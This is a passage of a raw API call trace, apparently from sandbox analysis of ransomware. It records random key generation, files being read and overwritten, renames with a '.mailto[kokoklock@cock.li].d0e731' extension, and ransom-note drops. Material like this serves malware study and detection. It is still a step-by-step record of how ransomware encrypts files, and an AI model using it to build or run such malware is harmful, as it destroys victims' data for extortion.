(in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x8521d668 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x29eb4222 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x9ccc2538 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xaecab891 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x7b6e5f6d [0081.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0081.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0081.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0081.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0081.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.924] ReadFile (in: hFile=0x514, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x2683fc18, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2683fc18*=0x10f, lpOverlapped=0x0) returned 1 [0081.924] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2683fbe0 | out: lpNewFilePointer=0x0) returned 1 [0081.924] WriteFile (in: hFile=0x514, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x2683fc14, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2683fc14*=0x10f, lpOverlapped=0x0) returned 1 [0081.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c970 [0081.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0081.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0081.925] WriteFile (in: hFile=0x514, lpBuffer=0x342c970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2683fc10, lpOverlapped=0x0 | out: lpBuffer=0x342c970*, lpNumberOfBytesWritten=0x2683fc10*=0x20, lpOverlapped=0x0) returned 1 [0081.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c970) returned 1 [0081.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0081.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.925] WriteFile (in: hFile=0x514, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2683fc3c, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x2683fc3c*=0x8, lpOverlapped=0x0) returned 1 [0081.925] WriteFile (in: hFile=0x514, lpBuffer=0x2683fc54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2683fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2683fc54*, lpNumberOfBytesWritten=0x2683fc3c*=0x4, lpOverlapped=0x0) returned 1 [0081.925] WriteFile (in: hFile=0x514, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2683fc3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2683fc3c*=0x4, lpOverlapped=0x0) returned 1 [0081.925] WriteFile (in: hFile=0x514, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2683fc3c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2683fc3c*=0x6c, lpOverlapped=0x0) returned 1 [0081.926] WriteFile (in: hFile=0x514, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2683fc3c, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x2683fc3c*=0x20, lpOverlapped=0x0) returned 1 [0081.926] WriteFile (in: hFile=0x514, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2683fc3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2683fc3c*=0x4, lpOverlapped=0x0) returned 1 [0081.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0081.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0081.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0081.926] CloseHandle (hObject=0x514) returned 1 [0081.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0081.926] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" [0081.926] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0081.926] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.927] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0081.928] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0081.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0081.928] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0081.928] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\D0E731-Readme.txt" [0081.928] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\d0e731-readme.txt")) returned 0x20 [0081.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0081.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476d78) returned 1 [0081.928] RtlExitUserThread (Status=0x1) Thread: id = 1079 os_tid = 0x17e0 [0081.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3428f98 [0081.930] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" [0081.930] wcscat (in: _Dest=0x3428f98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\" [0081.930] wcscat (in: _Dest=0x3428f98, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*" [0081.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aa870 [0081.930] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*", lpFindFileData=0x34aa870 | out: lpFindFileData=0x34aa870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfd58 [0081.931] wcscmp (_String1=".", _String2=".") returned 0 [0081.931] FindNextFileW (in: hFindFile=0x33dfd58, lpFindFileData=0x34aa870 | out: lpFindFileData=0x34aa870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.931] wcscmp (_String1="..", _String2=".") returned 1 [0081.931] wcscmp (_String1="..", _String2="..") returned 0 [0081.931] FindNextFileW (in: hFindFile=0x33dfd58, lpFindFileData=0x34aa870 | out: lpFindFileData=0x34aa870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0081.931] wcscmp (_String1="RunTime", _String2=".") returned 1 [0081.931] wcscmp (_String1="RunTime", _String2="..") returned 1 [0081.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431fd8 [0081.931] wcscpy (in: _Dest=0x3431fd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" [0081.931] wcscat (in: _Dest=0x3431fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\" [0081.931] wcscat (in: _Dest=0x3431fd8, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" [0082.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0082.956] FindNextFileW (in: hFindFile=0x33dfd58, lpFindFileData=0x34aa870 | out: lpFindFileData=0x34aa870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.956] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.956] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7e38 [0082.956] wcscpy (in: _Dest=0x33f7e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" [0082.957] wcscat (in: _Dest=0x33f7e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\" [0082.957] wcscat (in: _Dest=0x33f7e38, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" [0082.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0082.957] FindNextFileW (in: hFindFile=0x33dfd58, lpFindFileData=0x34aa870 | out: lpFindFileData=0x34aa870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.957] FindClose (in: hFindFile=0x33dfd58 | out: hFindFile=0x33dfd58) returned 1 [0082.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aa870) returned 1 [0082.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0082.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428e28) returned 1 [0082.957] RtlExitUserThread (Status=0x0) Thread: id = 1080 os_tid = 0x17e4 [0081.932] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml")) returned 0x20 [0081.933] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0081.934] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0081.934] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2693fa64 | out: lpFileSize=0x2693fa64*=4420) returned 1 [0081.934] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x1140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.934] ReadFile (in: hFile=0x634, lpBuffer=0x2693fa38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2693fa34, lpOverlapped=0x0 | out: lpBuffer=0x2693fa38*, lpNumberOfBytesRead=0x2693fa34*=0x4, lpOverlapped=0x0) returned 1 [0081.935] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0081.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0081.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c920 [0081.936] NtQuerySystemTime (in: CurrentTime=0x2693fa10 | out: CurrentTime=0x2693fa10*=132121176398341157) returned 0x0 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xef02867f [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xb1e484fa [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x2564653f [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xf61eead6 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xeca97893 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x151960c6 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xe52e3902 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x3b7a375d [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xc1781e3d [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xce3a9829 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x73dfa027 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xeca8046e [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x525a70a0 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x8b6bd085 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xa5bf813b [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x62fe7cb9 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x714d33e2 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x1cf50a8f [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x52180ab7 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x791e983b [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xff89d226 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xf0d94c16 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x8f7997b9 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x2705878a [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x97c8e494 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x9f453040 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xa82b5b63 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x2059e183 [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x5bcc4ae [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0x1e7e284e [0081.936] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xa7241d6a [0081.937] RtlRandom (in: Seed=0x2693fa1c | out: Seed=0x2693fa1c) returned 0xb4913c22 [0081.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0081.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0081.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0081.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0081.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.947] ReadFile (in: hFile=0x634, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1144, lpNumberOfBytesRead=0x2693fa10, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2693fa10*=0x1144, lpOverlapped=0x0) returned 1 [0081.962] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2693f9d8 | out: lpNewFilePointer=0x0) returned 1 [0081.962] WriteFile (in: hFile=0x634, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1144, lpNumberOfBytesWritten=0x2693fa0c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2693fa0c*=0x1144, lpOverlapped=0x0) returned 1 [0081.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c970 [0081.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0081.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0081.963] WriteFile (in: hFile=0x634, lpBuffer=0x342c970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2693fa08, lpOverlapped=0x0 | out: lpBuffer=0x342c970*, lpNumberOfBytesWritten=0x2693fa08*=0x20, lpOverlapped=0x0) returned 1 [0081.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c970) returned 1 [0081.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0081.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.964] WriteFile (in: hFile=0x634, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2693fa34, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x2693fa34*=0x8, lpOverlapped=0x0) returned 1 [0081.964] WriteFile (in: hFile=0x634, lpBuffer=0x2693fa4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2693fa34, lpOverlapped=0x0 | out: lpBuffer=0x2693fa4c*, lpNumberOfBytesWritten=0x2693fa34*=0x4, lpOverlapped=0x0) returned 1 [0081.964] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2693fa34, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2693fa34*=0x4, lpOverlapped=0x0) returned 1 [0081.964] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2693fa34, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2693fa34*=0x6c, lpOverlapped=0x0) returned 1 [0081.964] WriteFile (in: hFile=0x634, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2693fa34, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x2693fa34*=0x20, lpOverlapped=0x0) returned 1 [0081.964] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2693fa34, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2693fa34*=0x4, lpOverlapped=0x0) returned 1 [0081.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0081.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0081.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0081.965] CloseHandle (hObject=0x634) returned 1 [0081.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x342a268 [0081.965] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" [0081.965] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All 